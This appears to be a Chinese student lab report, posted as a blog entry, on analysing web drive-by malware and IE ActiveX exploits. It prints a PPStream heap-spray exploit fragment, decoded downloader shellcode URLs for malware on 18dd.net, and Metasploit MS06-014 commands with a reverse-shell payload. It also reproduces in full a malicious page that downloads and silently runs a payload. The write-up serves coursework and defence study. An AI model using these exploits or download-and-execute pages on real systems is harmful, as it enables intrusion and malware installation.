for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

通过ai辅助分析文件我们可以看出,这是 POWERPLAYER.PowerPlayerCtrl.1(PPStream 播放器)ActiveX 控件漏洞的 Heap Spray 堆喷射利用代码,对应控件 CLSID 为5EC7C511-CD0F-42E6-830C-1BD9882F3458,完整攻击逻辑:

  1. 创建漏洞控件对象:通过document.createElement创建 PPStream 控件对象,绑定对应漏洞 CLSID

  2. 构造 NOP 填充 sled:使用%u9090(x86 空指令)构造大内存块,作为 Shellcode 的执行着陆区,大幅提升漏洞触发成功率

  3. 嵌入下载者 Shellcode:内置功能型 Shellcode,核心逻辑为远程拉取恶意程序、写入本地并静默执行

  4. 堆喷射内存填充:循环构造 400 个相同的内存块,将 Shellcode 批量填充到浏览器堆内存的固定高位地址

  5. 触发漏洞执行:通过给pps.Logo属性赋值畸形超长缓冲区,触发 PPStream 控件的 Logo 属性解析内存溢出漏洞,劫持程序执行流跳转到堆内存中的 Shellcode

对 Shellcode 末尾的 Unicode 编码片段进行逐字符解码:

% u 编码片段 解码字符
%u7468 th
%u7074 tp
%u2f3a :/
%u642f /d
%u776f ow
%u2e6e n.
%u3831 18
%u6464 dd
%u6e2e .n
%u7465 et
%u622f /b
%u2f62 b/
%u7070 pp
%u2e73 s.
%u7865 ex
%u0065 e

拼接后完整恶意程序地址:http://down.18dd.net/bb/pps.exe,分析解密后的代码可以发现该文件与之前的漏洞文件一样,利用下载者 Shellcode,下载了该恶意程序,漏洞触发后会在靶机后台无感知下载并运行该程序。

恶意程序下载地址 MD5 散列值
http://down.18dd.net/bb/pps.exe ff59b3b8961f502289c1b4df8c37e2a4

最后,由于1c1d7b3539a617517c49eee4120783b2文件本身是一个压缩文件,在本地压缩360直接给我清干净了,因此我把网页挂马分析实践-解压密码这个压缩包在本地解压完后又复制了一份到kali虚拟机上,在虚拟机的文件夹中找到该文件解压缩后,发现该文件是一个bd.exe文件。

综上,我们总共得到了四个恶意程序文件,即 014.exe,bf.exe,pps.exe,bd.exe。而根据我们进一步分析发现四个文件的大小完全相同,进一步通过对文件内容进行MD5编码计算得出结论,这四个文件内容完全相同,

恶意程序名 MD5 哈希值
014.exe 1290ecd734d68d52318ea9016dc6fe63
bf.exe 1290ecd734d68d52318ea9016dc6fe63
pps.exe 1290ecd734d68d52318ea9016dc6fe63
bd.exe 1290ecd734d68d52318ea9016dc6fe63

由此我们得出结论,我们只需要分析其中的任意一个文件即可实现题设对于所有文件的分析

这里因为原来的kali虚拟机不支持后续操作,我又重新将网页挂马分析实践-解压密码这个压缩包在本地解压完后又复制了一份到winXP虚拟机上,这里我们选择使用014.exe文件,首先将其放到超级巡警之虚拟机自动脱壳器中

image-20260617200822616

可以看到其识别出BorLand Delphi v6.0 - v7.0,其没有被任何压缩壳或者加密壳封装,因此无需脱壳,之后我们再将该文件放进IDA中,在string 页面我们发现了20个用于下载exe文件的链接

image-20260617201220265

我们复制其中任意一个地址,将其转化为MD5散列值后,找到该文件,再将该文件拖到360沙箱云 - 专业的高级威胁分析平台,洞悉恶意样本每一行为中进行分析

恶意程序下载地址 MD5 散列值(32 位小写)
http://down.18dd.net/kl/17.exe 6536161fd92244f62eaac334c36db897

我们得到如下实验结果,实验圆满成功!!!!

屏幕截图 2026-06-17 203531

2.3 攻防对抗实践——Web浏览器渗透攻击攻防

实验三的前半部分和实验一的一模一样,

第一打开Metasploit控制台,在其中搜索MS06-014浏览器漏洞模块,并加载该漏洞模块。

第二查看PAYLOAD参数,并选择反向Shell连接作为攻击载荷。

第三配置核心攻击参数,包括设置攻击机IP地址、设置监听端口、 设置恶意网页服务监听地址(0.0.0.0表示监听所有网卡)、设置恶意网页访问路径、并在设置完所有后再次查看所有配置参数。

第四确定配置成功,启动渗透攻击服务,构造恶意网页木马。

第五观察控制台输出,发现出现session 1 opened提示,这说明我们这次实验的远程控制会话已成功建立,查看当前活跃会话:进入远程控制会话,在建立的Shell会话中,执行远程命令验证控制权限,输入指令进行验证。

sudo msfconsole
search MS06-014
use exploit/windows/browser/ie_createobject

show options
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.198.65
set LPORT 4444
set SRVHOST 0.0.0.0
set URIPATH /update.html
show options

exploit

sessions -l
sessions -i 1
ipconfig

成功执行以上命令,证明浏览器渗透攻击完成,已获取靶机远程控制权限。

image-20260617210315685

image-20260617210343570

image-20260617210405996

image-20260617210430347之后我们将生成的URL http://192.168.198.65:8080/update.html ,复制到winXP靶机中让其访问

image-20260617205321019

我们在访问的网址触摸板右击查看当前网页的源代码,发现其中存在多个空格,这导致我们不能直接分析该文件。

image-20260617210241846

由于收到攻击的靶机版本过低,无法连接外网没有本地连接,因此选择在主机中复制并打开该网址并查看其源代码

image-20260617211014217

image-20260617215302592

打开在线html压缩格式化工具(ES JSON在线工具),将我们之前复制的文件内容粘贴到这里,点击html普通压缩。

image-20260617215506201

<html><head><title></title><script language="javascript">function fMLYCWXAJLWVvjqPLs(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function rkyetVWnlacMAZQFN(a){var s=fMLYCWXAJLWVvjqPLs(a,"WScript.Shell");var o=fMLYCWXAJLWVvjqPLs(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\YwO.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function ZRfnQzlXYzhuzotKQFkWT(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=fMLYCWXAJLWVvjqPLs(a,"WScript.Shell");if(b){rkyetVWnlacMAZQFN(a);return(0)}}catch(e){}}i++}}</script></head><body onload='ZRfnQzlXYzhuzotKQFkWT()'>xSJHqrgDw</body></html>

根据分析代码,我们可以发现这段代码它会先通过document.location拿到当前恶意网页的访问路径,拼接上/payload来拉取攻击机上的恶意载荷,最终会把一个可执行文件下载到靶机本地 —— 这次我们看到的文件名是YwO.exe,这个程序本身就托管在攻击机的服务器上,只要靶机访问了恶意网页就会被静默下载。为了躲避杀毒软件的静态特征查杀,这个可执行文件的文件名不会固定,每次加载恶意网页时都会随机生成一个新的文件名,避免被杀毒软件的文件名特征库直接拦截。

根据上述的分析我们可以知道var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+代码后的就是每次的随机文件名,我们回到靶机找到var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+这段代码后发现其随机名为FUVZdIROGMGTeQW,我们再打开靶机的任务管理器发现确实有这个文件名

image-20260617213402612

这证明漏洞触发成功后,脚本会把 payload 后门下载到系统临时目录并自动运行,任务管理器里的该 exe 程序就是维持攻击机和靶机远程通信的进程,进程存在代表漏洞利用成功、主机已失陷,防守方可通过结束该进程临时切断攻击连接,直观验证恶意代码执行效果。

代码里的BD96C556-65A3-11D0-983A-00C04FC29E36是 MS06-014 漏洞对应的正确 CLSID,它对应的就是ADODB.Stream 组件(和代码里fMLYCWXAJLWVvjqPLs(a,"ADODB.Stream")调用的组件完全一致),这个组件本身是微软 ActiveX Data Objects 的配套 COM 对象,正常场景下用来处理二进制数据流、读写本地文件,攻击者正是利用了这个组件在 IE 浏览器中的权限绕过漏洞(微软官方编号 MS06-014),突破浏览器沙箱把下载的恶意程序写入本地磁盘并执行。

三、实验中出现的问题与解决措施

问题1:LHOST 的地址设置错误

在做实验一时LHOST后按理应该跟的是攻击机的IP地址 192.168.198.65,但因为错设置成 192.168.198.127广播地址,导致实验前期一直不成功,刚巧靶机ping这个广播地址也能ping通,所以根本没想到是IP地址的问题,还以为是实验环境的问题,后续发现并解决该问题后,实验取得了成功。

问题2:new09.htm文件找不到

由于学习通未给出new09.htm的下载路径,后续我去问了育家同学怎么解决这个问题,才解决这个问题。

问题3:没有合适的工具分析3870c28cc279d457746b3796a262f166文件

开始我尝试了很多工具分析,例如同学们用的工具猫等等都实现不了,

image-20260617222433916

于是我问的家乐同学,他教我如何用浏览器右上角菜单栏中的更多工具中的开发者工具来解决该问题,在先允许其粘贴,之后将原文件中的eval改为console.log其余内容不变展开分析,得到了实验所需的结果

image-20260617221354658

image-20260617221413751

四、实验总结与感想

做完这次网络攻防实验的三个任务,我最大的感受就是整套挂马的攻防逻辑是完全串起来的,三个任务全都是围绕18dd.net这个挂马站、IE 老旧控件漏洞展开的。

第二个木马取证的任务是最繁琐但也最有收获的,全程就是反复找外链、算 MD5、解密、脱壳、逆向。一开始我还踩了个坑,浏览器打开 exe、js 文件提示解析失败,我还以为是链接失效了,后来才搞明白,这些文件本来就不是网页,根本不用浏览器打开,直接拉下来解密就行。同时也摸清楚了攻击者的套路:会塞一堆正常流量的代码混淆视线,用 Base64、多层加密把恶意代码藏起来,还准备了四个不同的漏洞脚本兜底,适配不同的电脑。四个木马看着文件名、后缀不一样,其实后台的文件内容完全一模一样,攻击者就是换了个下载渠道而已。

做实验中最重要的就是要细心再细心,攻击机地址错看成广播地址耽误了我一天,不会的一定要问同学,第二个实验找不到文件,找不到合适的工具就没法进行后续的实验,这次给我的教训是深刻的,以后一定要注意这个问题,最后一个实验了,没想到这么难,但所幸圆满完成。

posted @ 2026-06-17 22:58  北冰洋漫步云端的南藤  阅读(9)  评论(0)    收藏  举报